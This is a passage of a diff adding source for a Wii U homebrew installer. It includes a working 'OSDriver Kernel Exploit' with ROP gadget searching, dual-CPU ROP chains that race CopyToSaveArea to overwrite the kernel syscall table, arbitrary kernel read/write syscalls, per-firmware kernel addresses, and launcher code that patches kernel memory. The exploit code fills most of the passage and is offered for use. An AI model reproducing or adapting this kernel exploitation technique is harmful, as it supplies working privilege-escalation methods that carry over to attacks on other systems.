OSDynLoad_FindExport(sysapp_handle, 0, "SYSLaunchSettings", &SYSLaunchSettings); + + /* Allocate a stack for the threads */ + uint32_t stack0 = (uint32_t) OSAllocFromSystem(0x300, 0x20); + uint32_t stack2 = (uint32_t) OSAllocFromSystem(0x300, 0x20); + + /* Create the threads */ + void *thread0 = OSAllocFromSystem(OSTHREAD_SIZE, 8); + bool ret0 = OSCreateThread(thread0, _Exit, 0, NULL, stack0 + 0x300, 0x300, 0, 1); + void *thread2 = OSAllocFromSystem(OSTHREAD_SIZE, 8); + bool ret2 = OSCreateThread(thread2, _Exit, 0, NULL, stack2 + 0x300, 0x300, 0, 4); + if (ret0 == false || ret2 == false) + { + printOSScreenMsg(coreinit_handle, "Failed to create threads! Please try again.",1); + wait(0x2FFFFFFF); + exitOSScreen(coreinit_handle); + } + + printOSScreenMsg(coreinit_handle, "Running Exploit...",1); + + /* Find a bunch of gadgets */ + uint32_t sleep_addr; + OSDynLoad_FindExport(coreinit_handle, 0, "OSSleepTicks", &sleep_addr); + sleep_addr += 0x44; + uint32_t sigwait[] = {0x801F0000, 0x7C0903A6, 0x4E800421, 0x83FF0004, 0x2C1F0000, 0x4082FFEC, 0x80010014, 0x83E1000C, 0x7C0803A6, 0x38210010, 0x4E800020}; + uint32_t sigwait_addr = (uint32_t) find_gadget(sigwait, 0x2c, (uint32_t) __PPCExit); + uint32_t r3r4load[] = {0x80610008, 0x8081000C, 0x80010014, 0x7C0803A6, 0x38210010, 0x4E800020}; + uint32_t r3r4load_addr = (uint32_t) find_gadget(r3r4load, 0x18, (uint32_t) __PPCExit); + uint32_t r5load[] = {0x80A10008, 0x38210010, 0x7CA32B78, 0x80810004, 0x7C8803A6, 0x4E800020}; + uint32_t r5load_addr = (uint32_t) find_gadget(r5load, 0x18, (uint32_t) __PPCExit); + uint32_t r6load[] = {0x80C10014, 0x90610010, 0x80010010, 0x915E002C, 0x81210008, 0x901E0030, 0x913E0028, 0x90DE0034, 0x80010034, 0x83E1002C, 0x7C0803A6, 0x83C10028, 0x38210030, 0x4E800020}; + uint32_t r6load_addr = (uint32_t) find_gadget(r6load, 0x38, (uint32_t) __PPCExit); + uint32_t r30r31load[] = {0x80010034, 0x83E1002C, 0x7C0803A6, 0x83C10028, 0x38210030, 0x4E800020}; + uint32_t r30r31load_addr = (uint32_t) find_gadget(r30r31load, 0x18, (uint32_t) __PPCExit); + + /* Find the OSDriver functions */ + uint32_t reg[] = {0x38003200, 0x44000002, 0x4E800020}; + uint32_t (*Register)(char *driver_name, uint32_t name_length, void *buf1, void *buf2) = find_gadget(reg, 0xc, (uint32_t) __PPCExit); + uint32_t dereg[] = {0x38003300, 0x44000002, 0x4E800020}; + uint32_t (*Deregister)(char *driver_name, uint32_t name_length) = find_gadget(dereg, 0xc, (uint32_t) __PPCExit); + uint32_t copyfrom[] = {0x38004700, 0x44000002, 0x4E800020}; + uint32_t (*CopyFromSaveArea)(char *driver_name, uint32_t name_length, void *buffer, uint32_t length) = find_gadget(copyfrom, 0xc, (uint32_t) __PPCExit); + uint32_t copyto[] = {0x38004800, 0x44000002, 0x4E800020}; + uint32_t (*CopyToSaveArea)(char *driver_name, uint32_t name_length, void *buffer, uint32_t length) = find_gadget(copyto, 0xc, (uint32_t) __PPCExit); + + /* Set up the ROP chain for CPU0 */ + OSContext *ctx0 = (OSContext*) thread0; + uint32_t *rop0 = (uint32_t*) stack0; + ctx0->gpr[1] = stack0 + 0x80; + ctx0->gpr[28] = 0; + ctx0->gpr[29] = CPU0_WAIT_TIME; + ctx0->gpr[31] = stack0 + 0x1f8; + ctx0->srr0 = sigwait_addr + 0xc; + rop0[0x94/4] = sleep_addr; + rop0[0x114/4] = r3r4load_addr; + rop0[0x118/4] = stack0 + 0x208; + rop0[0x11c/4] = 4; + rop0[0x124/4] = r30r31load_addr; + rop0[0x14c/4] = stack0 + 0x220; + rop0[0x154/4] = sigwait_addr; + rop0[0x164/4] = r5load_addr; + rop0[0x168/4] = stack0 + 0x218; + rop0[0x174/4] = r3r4load_addr; + rop0[0x178/4] = stack0 + 0x210; + rop0[0x17c/4] = 4; + rop0[0x184/4] = r30r31load_addr; + rop0[0x1a8/4] = stack0 + 0x230; + rop0[0x1b4/4] = r6load_addr; + rop0[0x1c4/4] = stack0 + 0x21c; + rop0[0x1dc/4] = stack0 + 0x228; + rop0[0x1e4/4] = sigwait_addr; + rop0[0x1f4/4] = sigwait_addr + 0x28; + rop0[0x1f8/4] = sigwait_addr + 0xc; + rop0[0x1fc/4] = stack0 + 0x1f8; + rop0[0x200/4] = 0; + rop0[0x204/4] = 0; + rop0[0x208/4] = 0x44525642; + rop0[0x20c/4] = 0; + rop0[0x210/4] = 0x44525643; + rop0[0x214/4] = 0; + rop0[0x218/4] = 0; + rop0[0x21c/4] = 0; + rop0[0x220/4] = (uint32_t)Deregister; + rop0[0x224/4] = 0; + rop0[0x228/4] = (uint32_t)Register; + rop0[0x22c/4] = 0; + + /* Set up the ROP chain for CPU2 */ + OSContext *ctx2 = (OSContext*) thread2; + uint32_t *rop2 = (uint32_t*) stack2; + ctx2->gpr[1] = stack2 + 0x80; + ctx2->gpr[28] = 0; + ctx2->gpr[29] = CPU2_WAIT_TIME; + ctx2->gpr[31] = stack2 + 0x1a8; + ctx2->srr0 = sigwait_addr + 0xc; + rop2[0x94/4] = sleep_addr; + rop2[0x114/4] = r5load_addr; + rop2[0x118/4] = stack2 + 0x204; + rop2[0x124/4] = r3r4load_addr; + rop2[0x128/4] = stack2 + 0x1b8; + rop2[0x12c/4] = 4; + rop2[0x134/4] = r30r31load_addr; + rop2[0x158/4] = stack2 + 0x1c8; + rop2[0x164/4] = r6load_addr; + rop2[0x174/4] = 4; + rop2[0x18c/4] = stack2 + 0x1c0; + rop2[0x194/4] = sigwait_addr; + rop2[0x1a4/4] = sigwait_addr + 0x28; + rop2[0x1a8/4] = sigwait_addr + 0xc; + rop2[0x1ac/4] = stack2 + 0x1a8; + rop2[0x1b0/4] = 0; + rop2[0x1b4/4] = 0; + rop2[0x1b8/4] = 0x44525641; + rop2[0x1bc/4] = 0; + rop2[0x1c0/4] = (uint32_t)CopyToSaveArea; + rop2[0x1c4/4] = 0; + rop2[0x204/4] = 0xDEADC0DE; + + /* Register driver A and driver B */ + char *drva_name = OSAllocFromSystem(8, 4); + memcpy(drva_name, "DRVA", 5); + char *drvb_name = OSAllocFromSystem(8, 4); + memcpy(drvb_name, "DRVB", 5); + uint32_t status = Register(drva_name, 4, NULL, NULL) | Register(drvb_name, 4, NULL, NULL); + if (status != 0) + { + printOSScreenMsg(coreinit_handle, "Register() of driver A and B failed! Reloading kernel...",2); + wait(0x2FFFFFFF); + callSysExit(coreinit_handle,SYSLaunchSettings); + exitOSScreen(coreinit_handle); + } + + /* Generate the copy payload, which writes to syscall_table[0x34] */ + uint32_t testval = 0xDEADBEEF; + uint32_t *copy_payload = OSAllocFromSystem(0x1000, 0x20); + if (!copy_payload) + { + printOSScreenMsg(coreinit_handle, "Failed to allocate payload! Reloading kernel...",2); + wait(0x2FFFFFFF); + callSysExit(coreinit_handle,SYSLaunchSettings); + exitOSScreen(coreinit_handle); + } + copy_payload[0] = 0x01234567; + copy_payload[0xfb4/4] = 0x44525648; + copy_payload[0xfb8/4] = 0x41580000; + copy_payload[0xff4/4] = PFID_BROWSER; + copy_payload[0xff8/4] = /*&testval*/KERN_SYSCALL_TBL + (0x34 * 4); + DCFlushRange(copy_payload, 0x1000); + DCInvalidateRange(copy_payload, 0x1000); + + /* Schedule both threads for execution */ + OSResumeThread(thread0); + OSResumeThread(thread2); + + /* Do a dummy copy to put CopyToSaveArea() in our cache */ + CopyToSaveArea(drvb_name, 4, (void*)0xC0000004, 4); + + /* Signal the CPU0 and CPU2 threads to begin */ + rop2[0x1ac/4] = 0; + rop0[0x1fc/4] = 0; + + /* Start copying the payload into driver B's save area */ + CopyToSaveArea(drvb_name, 4, copy_payload, 0x1000); + + /* Wait for a while, which somehow helps things */ + int i = 0, ctr = 0; + for (i = 0; i < 300000000; i++) + { + ctr++; + } + + /* Use DRVHAX to install the read and write syscalls */ + char *drvhax_name = OSAllocFromSystem(8, 4); + memcpy(drvhax_name, "DRVHAX", 7); + uint32_t *syscalls = OSAllocFromSystem(8, 4); + syscalls[0] = KERN_CODE_READ; + syscalls[1] = KERN_CODE_WRITE; + status = CopyToSaveArea(drvhax_name, 6, syscalls, 8); + + /* Verify that the syscalls were installed */ + uint32_t result = 42; + status = CopyFromSaveArea(drvhax_name, 6, &result, 4); + if (result != KERN_CODE_READ) + { + printOSScreenMsg(coreinit_handle, "Race attack failed! Reloading kernel...",2); + wait(0x2FFFFFFF); + callSysExit(coreinit_handle,SYSLaunchSettings); + exitOSScreen(coreinit_handle); + } + + /* Search the kernel heap for DRVA and DRVHAX */ + uint32_t drva_addr = 0, drvhax_addr = 0; + uint32_t metadata_addr = KERN_HEAP + 0x14 + (kern_read((void*)(KERN_HEAP + 0x0c)) * 0x10); + while (metadata_addr >= KERN_HEAP + 0x14) + { + /* Read the data address from the metadata, then read the data */ + uint32_t data_addr = kern_read((void*)metadata_addr); + uint32_t data = kern_read((void*)data_addr); + + /* Check for DRVA or DRVHAX, and if both are found, break */ + if (data == 0x44525641) drva_addr = data_addr; + else if (data == 0x44525648) drvhax_addr = data_addr; + if (drva_addr && drvhax_addr) break; + + /* Go to the previous metadata entry */ + metadata_addr -= 0x10; + } + if (!(drva_addr && drvhax_addr)) + { + printOSScreenMsg(coreinit_handle, "Failed to find DRVA or DRVHAX! Reloading kernel...",2); + wait(0x2FFFFFFF); + callSysExit(coreinit_handle,SYSLaunchSettings); + exitOSScreen(coreinit_handle); + } + /* Make DRVHAX point to DRVA to ensure a clean exit */ + kern_write((void*)(drvhax_addr + 0x48), drva_addr); + + //map (mostly unused) memory area to specific MEM2 region +#if (VER<410) //start of region on old FWs + kern_write((void*)(KERN_ADDRESS_TBL + (0x12 * 4)), 0x10000000); +#else //newer FWs use different mappings + kern_write((void*)(KERN_ADDRESS_TBL + (0x12 * 4)), 0x10000000); +#endif + //give that memory area read/write permissions + kern_write((void*)(KERN_ADDRESS_TBL + (0x13 * 4)), 0x28305800); + + printOSScreenMsg(coreinit_handle, "Success! Re-launch HBL again...",2); + wait(0x1FFFFFFF); + callSysExit(coreinit_handle,SYSSwitchToBrowser); + exitOSScreen(coreinit_handle); +} + +void wait(unsigned int t) +{ + // the wait times are too short with optimizations enabled so we double them + t *= 2; + + while(t--) + asm volatile("nop"); +} + +void doBrowserShutdown(unsigned int coreinit_handle) +{ + void*(*memset)(void *dest, uint32_t value, uint32_t bytes); + void*(*OSAllocFromSystem)(uint32_t size, int align); + void (*OSFreeToSystem)(void *ptr); + + int(*IM_SetDeviceState)(int fd, void *mem, int state, int a, int b); + int(*IM_Close)(int fd); + int(*IM_Open)(); + + OSDynLoad_FindExport(coreinit_handle, 0, "memset", &memset); + OSDynLoad_FindExport(coreinit_handle, 0, "OSAllocFromSystem", &OSAllocFromSystem); + OSDynLoad_FindExport(coreinit_handle, 0, "OSFreeToSystem", &OSFreeToSystem); + + OSDynLoad_FindExport(coreinit_handle, 0, "IM_SetDeviceState", &IM_SetDeviceState); + OSDynLoad_FindExport(coreinit_handle, 0, "IM_Close", &IM_Close); + OSDynLoad_FindExport(coreinit_handle, 0, "IM_Open", &IM_Open); + + //Restart system to get lib access + int fd = IM_Open(); + void *mem = OSAllocFromSystem(0x100, 64); + memset(mem, 0, 0x100); + //set restart flag to force quit browser + IM_SetDeviceState(fd, mem, 3, 0, 0); + IM_Close(fd); + OSFreeToSystem(mem); + //wait a bit for browser end + wait(0x1FFFFFFF); +} + +void drawString(unsigned int coreinit_handle, int x, int y, char * string) +{ + unsigned int(*OSScreenPutFontEx)(unsigned int bufferNum, unsigned int posX, unsigned int posY, void * buffer); + OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenPutFontEx", &OSScreenPutFontEx); + OSScreenPutFontEx(0, x, y, string); + OSScreenPutFontEx(1, x, y, string); +} + +void fillScreen(unsigned int coreinit_handle, char r,char g,char b,char a) +{ + unsigned int(*OSScreenClearBufferEx)(unsigned int bufferNum, unsigned int temp); + OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenClearBufferEx", &OSScreenClearBufferEx); + uint32_t num = (r << 24) | (g << 16) | (b << 8) | a; + OSScreenClearBufferEx(0, num); + OSScreenClearBufferEx(1, num); +} + +void flipBuffers(unsigned int coreinit_handle) +{ + void(*DCFlushRange)(void *buffer, uint32_t length); + unsigned int(*OSScreenFlipBuffersEx)(unsigned int bufferNum); + OSDynLoad_FindExport(coreinit_handle, 0, "DCFlushRange", &DCFlushRange); + OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenFlipBuffersEx", &OSScreenFlipBuffersEx); + unsigned int(*OSScreenGetBufferSizeEx)(unsigned int bufferNum); + OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenGetBufferSizeEx", &OSScreenGetBufferSizeEx); + //Grab the buffer size for each screen (TV and gamepad) + int buf0_size = OSScreenGetBufferSizeEx(0); + int buf1_size = OSScreenGetBufferSizeEx(1); + //Flush the cache + DCFlushRange((void *)0xF4000000 + buf0_size, buf1_size); + DCFlushRange((void *)0xF4000000, buf0_size); + //Flip the buffer + OSScreenFlipBuffersEx(0); + OSScreenFlipBuffersEx(1); +} + +void printOSScreenMsg(unsigned int coreinit_handle, char *buf,unsigned int pos) +{ + int i; + for(i=0;i<2;i++) + { + drawString(coreinit_handle, 0,pos,buf); + flipBuffers(coreinit_handle); + } +} + +void setupOSScreen(unsigned int coreinit_handle) +{ + void(*OSScreenInit)(); + unsigned int(*OSScreenGetBufferSizeEx)(unsigned int bufferNum); + unsigned int(*OSScreenSetBufferEx)(unsigned int bufferNum, void * addr); + + OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenInit", &OSScreenInit); + OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenGetBufferSizeEx", &OSScreenGetBufferSizeEx); + OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenSetBufferEx", &OSScreenSetBufferEx); + + //Call the Screen initilzation function. + OSScreenInit(); + //Grab the buffer size for each screen (TV and gamepad) + int buf0_size = OSScreenGetBufferSizeEx(0); + int buf1_size = OSScreenGetBufferSizeEx(1); + //Set the buffer area. + OSScreenSetBufferEx(0, (void *)0xF4000000); + OSScreenSetBufferEx(1, (void *)0xF4000000 + buf0_size); + //Clear both framebuffers. + int ii; + for (ii = 0; ii < 2; ii++) + { + fillScreen(coreinit_handle, 0,0,0,0); + flipBuffers(coreinit_handle); + } + printOSScreenMsg(coreinit_handle, "OSDriver Kernel Exploit",0); +} + +void exitOSScreen(unsigned int coreinit_handle) +{ + void (*_Exit)(); + OSDynLoad_FindExport(coreinit_handle, 0, "_Exit", &_Exit); + //exit only works like this + int ii; + for(ii = 0; ii < 2; ii++) + { + fillScreen(coreinit_handle, 0,0,0,0); + flipBuffers(coreinit_handle); + } + _Exit(); +} + +void callSysExit(unsigned int coreinit_handle, void *sysFunc) +{ + void*(*OSAllocFromSystem)(uint32_t size, int align); + bool (*OSCreateThread)(void *thread, void *entry, int argc, void *args, uint32_t stack, uint32_t stack_size, int32_t priority, uint16_t attr); + int32_t (*OSResumeThread)(void *thread); + int (*OSIsThreadTerminated)(void *thread); + + OSDynLoad_FindExport(coreinit_handle, 0, "OSAllocFromSystem", &OSAllocFromSystem); + OSDynLoad_FindExport(coreinit_handle, 0, "OSCreateThread", &OSCreateThread); + OSDynLoad_FindExport(coreinit_handle, 0, "OSResumeThread", &OSResumeThread); + OSDynLoad_FindExport(coreinit_handle, 0, "OSIsThreadTerminated", &OSIsThreadTerminated); + + uint32_t stack1 = (uint32_t) OSAllocFromSystem(0x300, 0x20); + void *thread1 = OSAllocFromSystem(OSTHREAD_SIZE, 8); + + OSCreateThread(thread1, sysFunc, 0, NULL, stack1 + 0x300, 0x300, 0, 0x1A); + OSResumeThread(thread1); + while(OSIsThreadTerminated(thread1) == 0) + { + asm volatile ( + " nop\n" + " nop\n" + " nop\n" + " nop\n" + " nop\n" + " nop\n" + " nop\n" + " nop\n" + ); + } +} + +/* Simple memcmp() implementation */ +int memcmp(void *ptr1, void *ptr2, uint32_t length) +{ + uint8_t *check1 = (uint8_t*) ptr1; + uint8_t *check2 = (uint8_t*) ptr2; + uint32_t i; + for (i = 0; i < length; i++) + { + if (check1[i] != check2[i]) return 1; + } + + return 0; +} + +void* memcpy(void* dst, const void* src, uint32_t size) +{ + uint32_t i; + for (i = 0; i < size; i++) + ((uint8_t*) dst)[i] = ((const uint8_t*) src)[i]; + return dst; +} + +/* Find a gadget based on a sequence of words */ +void *find_gadget(uint32_t code[], uint32_t length, uint32_t gadgets_start) +{ + uint32_t *ptr; + + /* Search code before JIT area first */ + for (ptr = (uint32_t*) gadgets_start; ptr != (uint32_t*) JIT_ADDRESS; ptr++) + { + if (!memcmp(ptr, &code[0], length)) return ptr; + } + + /* Restart search after JIT */ + for (ptr = (uint32_t*) CODE_ADDRESS_START; ptr != (uint32_t*) CODE_ADDRESS_END; ptr++) + { + if (!memcmp(ptr, &code[0], length)) return ptr; + } + + OSFatal("Gadget not found!"); + return (void*)0; +} + +/* Read a 32-bit word with kernel permissions */ +uint32_t __attribute__ ((noinline)) kern_read(const void *addr) +{ + uint32_t result; + asm volatile ( + "li 3,1\n" + "li 4,0\n" + "li 5,0\n" + "li 6,0\n" + "li 7,0\n" + "lis 8,1\n" + "mr 9,%1\n" + "li 0,0x3400\n" + "mr %0,1\n" + "sc\n" + "nop\n" + "mr 1,%0\n" + "mr %0,3\n" + : "=r"(result) + : "b"(addr) + : "memory", "ctr", "lr", "0", "3", "4", "5", "6", "7", "8", "9", "10", + "11", "12" + ); + + return result; +} + +/* Write a 32-bit word with kernel permissions */ +void __attribute__ ((noinline)) kern_write(void *addr, uint32_t value) +{ + asm volatile ( + "li 3,1\n" + "li 4,0\n" + "mr 5,%1\n" + "li 6,0\n" + "li 7,0\n" + "lis 8,1\n" + "mr 9,%0\n" + "mr %1,1\n" + "li 0,0x3500\n" + "sc\n" + "nop\n" + "mr 1,%1\n" + : + : "r"(addr), "r"(value) + : "memory", "ctr", "lr", "0", "3", "4", "5", "6", "7", "8", "9", "10", + "11", "12" + ); +} diff --git a/installer/kexploit.h b/installer/kexploit.h new file mode 100644 index 0000000..fa73cd3 --- /dev/null +++ b/installer/kexploit.h @@ -0,0 +1,91 @@ +#ifndef KEXPLOIT_H +#define KEXPLOIT_H + +#include "structs.h" +#include "../../libwiiu/src/types.h" +#include "../../libwiiu/src/coreinit.h" +#include "../../libwiiu/src/socket.h" + +/* Wait times for CPU0 and CPU2 */ +#define CPU0_WAIT_TIME 80 +#define CPU2_WAIT_TIME 92 + +/* Gadget finding addresses */ +#define JIT_ADDRESS 0x01800000 +#if (VER == 300 || VER == 310) + #define CODE_ADDRESS_START 0x0E000000 + #define CODE_ADDRESS_END 0x10000000 +#else + #define CODE_ADDRESS_START 0x0D800000 + #define CODE_ADDRESS_END 0x0F848A0C +#endif + +/* Kernel addresses, for each new kernel */ +#if VER == 200 + #define KERN_SYSCALL_TBL 0xFFE85910 + #define KERN_CODE_READ 0xFFF02214 + #define KERN_CODE_WRITE 0xFFF02234 + #define KERN_ADDRESS_TBL 0xFFEB4E00 + #define KERN_HEAP 0xFF200000 +#elif VER == 210 + #define KERN_SYSCALL_TBL 0xFFE85910 + #define KERN_CODE_READ 0xFFF02214 + #define KERN_CODE_WRITE 0xFFF02234 + #define KERN_ADDRESS_TBL 0xFFEB4E40 + #define KERN_HEAP 0xFF200000 +#elif VER == 300 + #define KERN_SYSCALL_TBL 0xFFE85950 + #define KERN_CODE_READ 0xFFF02214 + #define KERN_CODE_WRITE 0xFFF02234 + #define KERN_ADDRESS_TBL 0xFFEB66E4 + #define KERN_HEAP 0xFF200000 +#elif VER == 310 + #define KERN_SYSCALL_TBL 0xFFE85950 + #define KERN_CODE_READ 0xFFF02214 + #define KERN_CODE_WRITE 0xFFF02234 + #define KERN_ADDRESS_TBL 0xFFEB66E4 + #define KERN_HEAP 0xFF200000 +#elif VER == 400 + #define KERN_SYSCALL_TBL 0xFFE85890 + #define KERN_CODE_READ 0xFFF02214 + #define KERN_CODE_WRITE 0xFFF02234 + #define KERN_ADDRESS_TBL 0xFFEB7E5C + #define KERN_HEAP 0xFF200000 +#elif VER == 410 + #define KERN_SYSCALL_TBL 0xffe85890 + #define KERN_CODE_READ 0xfff02214 + #define KERN_CODE_WRITE 0xfff02234 + #define KERN_ADDRESS_TBL 0xffeb902c + #define KERN_HEAP 0xFF200000 +#elif VER == 500 + #define KERN_SYSCALL_TBL 0xffea9520 + #define KERN_CODE_READ 0xfff021f4 + #define KERN_CODE_WRITE 0xfff02214 + #define KERN_ADDRESS_TBL 0xffea9e4c + #define KERN_HEAP 0xFF200000 +#elif VER == 532 + #define KERN_SYSCALL_TBL 0xFFEAA0E0 + #define KERN_CODE_READ 0xFFF02274 + #define KERN_CODE_WRITE 0xFFF02294 + #define KERN_ADDRESS_TBL 0xFFEAAA10 + #define KERN_HEAP 0xFF200000 +#else +#error "Unsupported Wii U software version" +#endif + +/* Browser PFID */ +#define PFID_BROWSER 8 + +/* Size of a Cafe OS thread */ +#define OSTHREAD_SIZE 0x1000 + +void run_kexploit(private_data_t *private_data); + +/* Find a ROP gadget by a sequence of bytes */ +void *find_gadget(uint32_t code[], uint32_t length, uint32_t gadgets_start); + +/* Arbitrary read and write syscalls */ +uint32_t __attribute__ ((noinline)) kern_read(const void *addr); +void __attribute__ ((noinline)) kern_write(void *addr, uint32_t value); + +#endif /* KEXPLOIT_H */ diff --git a/installer/launcher.c b/installer/launcher.c new file mode 100644 index 0000000..493ff1b --- /dev/null +++ b/installer/launcher.c @@ -0,0 +1,413 @@ +#include "types.h" +#include "elf_abi.h" +#include "kexploit.h" +#include "structs.h" +#include "sd_loader.h" + +#define MEM_BASE 0xC0800000 +#include "../src/common/common.h" +#include "../src/common/os_defs.h" +#include "../../libwiiu/src/coreinit.h" + +//! this shouldnt depend on OS +#define LIB_CODE_RW_BASE_OFFSET 0xC1000000 +#define CODE_RW_BASE_OFFSET 0xC0000000 +#define DATA_RW_BASE_OFFSET 0xC0000000 + +#if ( (VER == 532) || (VER == 540) ) + #define ADDRESS_OSTitle_main_entry_ptr 0x1005d180 + #define ADDRESS_main_entry_hook 0x0101c55c + + #define KERN_SYSCALL_TBL_1 0xFFE84C70 // unknown + #define KERN_SYSCALL_TBL_2 0xFFE85070 // works with games + #define KERN_SYSCALL_TBL_3 0xFFE85470 // works with loader + #define KERN_SYSCALL_TBL_4 0xFFEA9CE0 // works with home menu + #define KERN_SYSCALL_TBL_5 0xFFEAA0E0 // works with browser (previously KERN_SYSCALL_TBL) +#elif ( (VER == 500) || (VER == 510) ) + #define ADDRESS_OSTitle_main_entry_ptr 0x1005CB00 + #define ADDRESS_main_entry_hook 0x0101C15C + + #define KERN_SYSCALL_TBL_5 0xFFEA9520 // works with browser + + #define PREP_TITLE_HOOK_ADDR 0xFFF18534 +#elif ( (VER == 400) || (VER == 410) ) + #define ADDRESS_OSTitle_main_entry_ptr 0x1005A8C0 + #define ADDRESS_main_entry_hook 0x0101BD4C + #define KERN_SYSCALL_TBL_5 0xFFE85890 // works with browser +#endif // VER + +/* Install functions */ +static void InstallMain(private_data_t *private_data); +static void InstallPatches(private_data_t *private_data); +static void ExitFailure(private_data_t *private_data, const char *failure); + +static int show_install_menu(unsigned int coreinit_handle, unsigned int *ip_address); +static void thread_callback(int argc, void *argv); + +static void SetupKernelSyscall(unsigned int addr); + +/* assembly functions */ +extern void Syscall_0x36(void); +extern void KernelPatches(void); + +/* ****************************************************************** */ +/* ENTRY POINT */ +/* ****************************************************************** */ +void __main(void) +{ + /* Get coreinit handle and keep it in memory */ + unsigned int coreinit_handle; + OSDynLoad_Acquire("coreinit.rpl", &coreinit_handle); + + /* Get our memory functions */ + unsigned int* functionPointer; + void* (*memset)(void * dest, unsigned int value, unsigned int bytes); + OSDynLoad_FindExport(coreinit_handle, 0, "memset", &memset); + + private_data_t private_data; + memset(&private_data, 0, sizeof(private_data_t)); + + private_data.coreinit_handle = coreinit_handle; + private_data.memset = memset; + private_data.data_elf = (unsigned char *) ___sd_loader_sd_loader_elf; // use this address as temporary to load the elf + + OSDynLoad_FindExport(coreinit_handle, 1, "MEMAllocFromDefaultHeapEx", &functionPointer); + private_data.MEMAllocFromDefaultHeapEx = (void*(*)(unsigned int, unsigned int))*functionPointer; + OSDynLoad_FindExport(coreinit_handle, 1, "MEMFreeToDefaultHeap", &functionPointer); + private_data.MEMFreeToDefaultHeap = (void (*)(void *))*functionPointer; + + OSDynLoad_FindExport(coreinit_handle, 0, "memcpy", &private_data.memcpy); + OSDynLoad_FindExport(coreinit_handle, 0, "OSEffectiveToPhysical", &private_data.OSEffectiveToPhysical); + OSDynLoad_FindExport(coreinit_handle, 0, "DCFlushRange", &private_data.DCFlushRange); + OSDynLoad_FindExport(coreinit_handle, 0, "ICInvalidateRange", &private_data.ICInvalidateRange); + OSDynLoad_FindExport(coreinit_handle, 0, "_Exit", &private_data._Exit); + + if (private_data.OSEffectiveToPhysical((void *)0xa0000000) != (void *)0x10000000) + { + run_kexploit(&private_data); + return; + } + + /* Get functions to send restart signal */ + int(*IM_Open)(); + int(*IM_Close)(int fd); + int(*IM_SetDeviceState)(int fd, void *mem, int state, int a, int b); + void*(*OSAllocFromSystem)(unsigned int size, int align); + void(*OSFreeToSystem)(void *ptr); + OSDynLoad_FindExport(coreinit_handle, 0, "IM_Open", &IM_Open); + OSDynLoad_FindExport(coreinit_handle, 0, "IM_Close", &IM_Close); + OSDynLoad_FindExport(coreinit_handle, 0, "IM_SetDeviceState", &IM_SetDeviceState); + OSDynLoad_FindExport(coreinit_handle, 0, "OSAllocFromSystem", &OSAllocFromSystem); + OSDynLoad_FindExport(coreinit_handle, 0, "OSFreeToSystem", &OSFreeToSystem); + + /* Send restart signal to get rid of uneeded threads */ + /* Cause the other browser threads to exit */ + int fd = IM_Open(); + void *mem = OSAllocFromSystem(0x100, 64); + if(!mem) + ExitFailure(&private_data, "Not enough memory. Exit and re-enter browser."); + + private_data.memset(mem, 0, 0x100); + + /* Sets wanted flag */ + IM_SetDeviceState(fd, mem, 3, 0, 0); + IM_Close(fd); + OSFreeToSystem(mem); + + /* Waits for thread exits */ + unsigned int t1 = 0x1FFFFFFF; + while(t1--) ; + + /* Prepare for thread startups */ + int (*OSCreateThread)(void *thread, void *entry, int argc, void *args, unsigned int stack, unsigned int stack_size, int priority, unsigned short attr); + int (*OSResumeThread)(void *thread); + int (*OSIsThreadTerminated)(void *thread); + + OSDynLoad_FindExport(coreinit_handle, 0, "OSCreateThread", &OSCreateThread); + OSDynLoad_FindExport(coreinit_handle, 0, "OSResumeThread", &OSResumeThread); + OSDynLoad_FindExport(coreinit_handle, 0, "OSIsThreadTerminated", &OSIsThreadTerminated); + + /* Allocate a stack for the thread */ + /* IMPORTANT: libcurl uses around 0x1000 internally so make + sure to allocate more for the stack to avoid crashes */ + void *stack = private_data.MEMAllocFromDefaultHeapEx(0x4000, 0x20); + /* Create the thread variable */ + void *thread = private_data.MEMAllocFromDefaultHeapEx(0x1000, 8); + if(!thread || !stack) + ExitFailure(&private_data, "Thread memory allocation failed. Exit and re-enter browser."); + + // the thread stack is too small on current thread, switch to an own created thread + // create a detached thread with priority 0 and use core 1 + int ret = OSCreateThread(thread, thread_callback, 1, (void*)&private_data, (unsigned int)stack+0x4000, 0x4000, 0, 0x1A); + if (ret == 0) + ExitFailure(&private_data, "Failed to create thread. Exit and re-enter browser."); + + /* Schedule it for execution */ + OSResumeThread(thread); + + // Keep this main thread around for ELF loading + // Can not use OSJoinThread, which hangs for some reason, so we use a detached one and wait for it to terminate + while(OSIsThreadTerminated(thread) == 0) + { + asm volatile ( + " nop\n" + " nop\n" + " nop\n" + " nop\n" + " nop\n" + " nop\n" + " nop\n" + " nop\n" + ); + } + + /* Install our code now */ + InstallMain(&private_data); + + /* setup our own syscall and call it */ + SetupKernelSyscall((unsigned int)KernelPatches); + Syscall_0x36(); + + /* Patch functions and our code for usage */ + InstallPatches(&private_data); + + /* Free thread memory and stack */ + private_data.MEMFreeToDefaultHeap(thread); + private_data.MEMFreeToDefaultHeap(stack); + + /* restore kernel memory table to original state */ + kern_write((void*)(KERN_ADDRESS_TBL + (0x12 * 4)), 0); + kern_write((void*)(KERN_ADDRESS_TBL + (0x13 * 4)), 0x14000000); + + //! we are done -> exit browser now + private_data._Exit(); +} + +void ExitFailure(private_data_t *private_data, const char *failure) +{ + /************************************************************************/ + // Prepare screen + void (*OSScreenInit)(); + unsigned int (*OSScreenGetBufferSizeEx)(unsigned int bufferNum); + unsigned int (*OSScreenSetBufferEx)(unsigned int bufferNum, void * addr); + unsigned int (*OSScreenClearBufferEx)(unsigned int bufferNum, unsigned int temp); + unsigned int (*OSScreenFlipBuffersEx)(unsigned int bufferNum); + unsigned int (*OSScreenPutFontEx)(unsigned int bufferNum, unsigned int posX, unsigned int posY, const char * buffer); + + OSDynLoad_FindExport(private_data->coreinit_handle, 0, "OSScreenInit", &OSScreenInit); + OSDynLoad_FindExport(private_data->coreinit_handle, 0, "OSScreenGetBufferSizeEx", &OSScreenGetBufferSizeEx); + OSDynLoad_FindExport(private_data->coreinit_handle, 0, "OSScreenSetBufferEx", &OSScreenSetBufferEx); + OSDynLoad_FindExport(private_data->coreinit_handle, 0, "OSScreenClearBufferEx", &OSScreenClearBufferEx); + OSDynLoad_FindExport(private_data->coreinit_handle, 0, "OSScreenFlipBuffersEx", &OSScreenFlipBuffersEx); + 